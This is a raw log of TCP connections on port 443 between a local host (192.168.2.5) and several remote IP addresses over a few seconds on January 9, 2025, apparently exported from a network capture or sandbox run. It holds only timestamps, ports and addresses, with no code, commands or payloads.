Jan 9, 2025 04:28:37.589440107 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589468002 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.589751959 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589806080 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.589812994 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589948893 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.589994907 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.590001106 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590374947 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590399981 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590451002 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.590457916 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590508938 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.590517044 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590548038 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.590595007 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.590609074 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.591213942 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.591239929 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.591258049 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.591267109 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.591322899 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.613203049 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.632080078 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.632143974 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.632240057 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.632252932 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.665251970 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.665299892 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.665358067 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.665378094 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.665397882 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.665417910 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.665846109 CET	49743	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.665867090 CET	443	49743	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.676691055 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.681355000 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.681457996 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.681495905 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.681551933 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.681565046 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.681615114 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.681641102 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.681689978 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.682022095 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682070017 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.682122946 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682251930 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682295084 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.682301998 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682341099 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.682715893 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682768106 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.682874918 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.682924032 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.683048010 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.683096886 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.683654070 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.683706999 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.683823109 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.683871031 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.684032917 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.684077978 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.684587002 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.684640884 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.684766054 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.684814930 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.685035944 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.685096979 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.685878038 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.685939074 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.692603111 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.692718983 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.692774057 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.693021059 CET	49745	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.693034887 CET	443	49745	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.694168091 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.694195032 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.694498062 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.694703102 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:37.694715977 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:37.724673033 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.724761963 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.773868084 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.773953915 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.774296045 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.774349928 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.774363995 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.774394035 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.774414062 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.774421930 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.774432898 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.774497986 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.774873972 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.774939060 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.775201082 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.775233984 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.775253057 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.775257111 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.775269032 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.775983095 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.776022911 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.776042938 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.776048899 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.776082993 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.776194096 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.776238918 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.776566982 CET	49744	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:37.776582956 CET	443	49744	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:37.915620089 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.915683985 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:37.915747881 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.915987015 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:37.916008949 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.168847084 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.169361115 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:38.169372082 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.169734955 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.170031071 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:38.170095921 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.170250893 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:38.215334892 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.306341887 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.306436062 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.306504965 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:38.329601049 CET	49747	443	192.168.2.5	35.190.80.1
Jan 9, 2025 04:28:38.329621077 CET	443	49747	35.190.80.1	192.168.2.5
Jan 9, 2025 04:28:38.378690958 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.427572966 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.773011923 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.773053885 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.773597002 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.774055004 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.774127007 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.774703026 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.815325975 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.878631115 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.878700018 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.878766060 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.980376959 CET	49749	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:38.980415106 CET	443	49749	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:38.992790937 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:38.992824078 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:38.992907047 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:38.993442059 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:38.993458986 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.447048903 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.447376966 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.447386980 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.447736979 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.448112011 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.448195934 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.448311090 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.491337061 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.607232094 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.607369900 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.607429981 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.607436895 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.607506037 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.608021021 CET	49750	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.608035088 CET	443	49750	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.613692045 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.613739014 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:39.613816023 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.614027023 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:39.614038944 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.071813107 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.072098970 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.072125912 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.072556973 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.072941065 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.073062897 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.073081970 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.114569902 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.114599943 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.212928057 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.213031054 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.213078022 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.214294910 CET	49756	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.214324951 CET	443	49756	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.217858076 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.217896938 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.217978001 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.218224049 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.218235970 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.495441914 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.495480061 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.495552063 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.495827913 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.495841026 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.673474073 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.673784971 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.673809052 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.674144983 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.674432993 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.674489975 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.674571037 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.719332933 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.819509983 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.819601059 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.819688082 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.821449041 CET	49762	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:40.821470022 CET	443	49762	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:40.967497110 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.967844009 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.967864990 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.968203068 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.968565941 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.968643904 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.968719959 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.968739033 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.968755007 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.968806028 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.968816042 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:40.968885899 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:40.968919039 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217778921 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217827082 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217855930 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217885017 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217914104 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217948914 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.217948914 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.217956066 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.217972994 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.218005896 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.218373060 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.218411922 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.218451977 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.218473911 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.218487024 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.218507051 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.263169050 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.263195038 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.304557085 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.308581114 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.308653116 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.308703899 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.308739901 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.308770895 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.308770895 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.308783054 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309353113 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309395075 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309434891 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309468985 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.309477091 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309501886 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.309559107 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.309559107 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.310956955 CET	49763	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:41.310971022 CET	443	49763	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:41.343616962 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.343683004 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.343750000 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.343981981 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.343997002 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.797918081 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.798194885 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.798226118 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.798590899 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.798964977 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.799042940 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.799048901 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.843336105 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.849462986 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.942733049 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.942821980 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:41.942890882 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.943655968 CET	49769	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:41.943684101 CET	443	49769	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:43.640714884 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:43.640774012 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:43.640899897 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:43.798995972 CET	49720	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:28:43.799026966 CET	443	49720	142.250.181.228	192.168.2.5
Jan 9, 2025 04:28:49.726700068 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:49.726751089 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:49.726826906 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:49.762262106 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:49.762284040 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.218759060 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.259486914 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.276878119 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.276907921 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.277378082 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.277997017 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.278074980 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.278353930 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.278441906 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.278470993 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.278561115 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.278594017 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536201954 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536281109 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536303997 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536330938 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.536333084 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536349058 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536391020 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.536400080 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536413908 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.536442995 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.536468029 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.538150072 CET	49828	443	192.168.2.5	104.18.95.41
Jan 9, 2025 04:28:50.538165092 CET	443	49828	104.18.95.41	192.168.2.5
Jan 9, 2025 04:28:50.548012972 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:50.548029900 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:50.548079014 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:50.548330069 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:50.548342943 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:50.641335011 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:50.641395092 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:50.641457081 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:50.641741991 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:50.641763926 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.022218943 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.022520065 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.022536993 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.022872925 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.023261070 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.023284912 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.023291111 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.023358107 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.066235065 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.117019892 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.117259026 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.117283106 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.118300915 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.118365049 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.118730068 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.118757010 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.118791103 CET	443	49835	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.118813038 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.118849993 CET	49835	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.119113922 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.119147062 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.119204044 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.119420052 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.119431019 CET	443	49841	104.21.42.208	192.168.2.5
